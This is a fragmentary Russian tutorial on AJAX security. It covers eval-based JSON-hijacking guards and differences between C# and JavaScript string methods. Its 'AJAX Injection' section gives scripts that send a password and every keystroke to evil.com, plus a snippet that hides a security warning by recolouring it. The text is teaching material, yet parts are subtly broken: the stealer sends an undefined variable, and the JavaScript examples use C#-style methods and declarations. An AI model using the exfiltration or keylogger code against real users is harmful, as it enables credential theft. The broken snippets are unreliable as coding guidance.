Твердокаменный AJAX: защищаем веб-приложения

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,9) == "while(1);") {
txt = txt.substring(10);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);

2. Сервер может заключить JavaScript символами комментария, которые впоследствии должны быть вырезаны (перед тем, как JS-код отправится на выполнение). Следующий JSON-объект окружен символами многострочного комментария:

/*
[{"fname":"Nicholas", "lname":"Baiborodin",
"phone":"322-233",
"purchases":60000.00, "email":
"baiborodin@gmail.com" }
]
*/

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,2) == "/*") {
txt = txt.substring(2, txt.length - 2);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);

// C#
String text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат - строка “bar bar bar bar”

//JavaScript
var text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат - строка “bar foo foo foo”

//C#
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// pass = pup_v

//JavaScript
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// результат - “”
AJAX Injection

function foo()
{
var pass = document.getElementById("password").value;
document.images[0].src = "http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = foo;

Именно благодаря своей асинхронной природе запрос пролезет незамеченным сквозь все линии обороны. Вот еще пример:

function keylogger(e)
{
document.images[0].src = "http://evil.com/logger?key=" + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

// Бубнилка, предупреждающая пользователя
...
<style type="text/cuss"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...

// А вот так ее можно заставить замолчать
var e = document.getElementById("warning");
e.style.color= "white";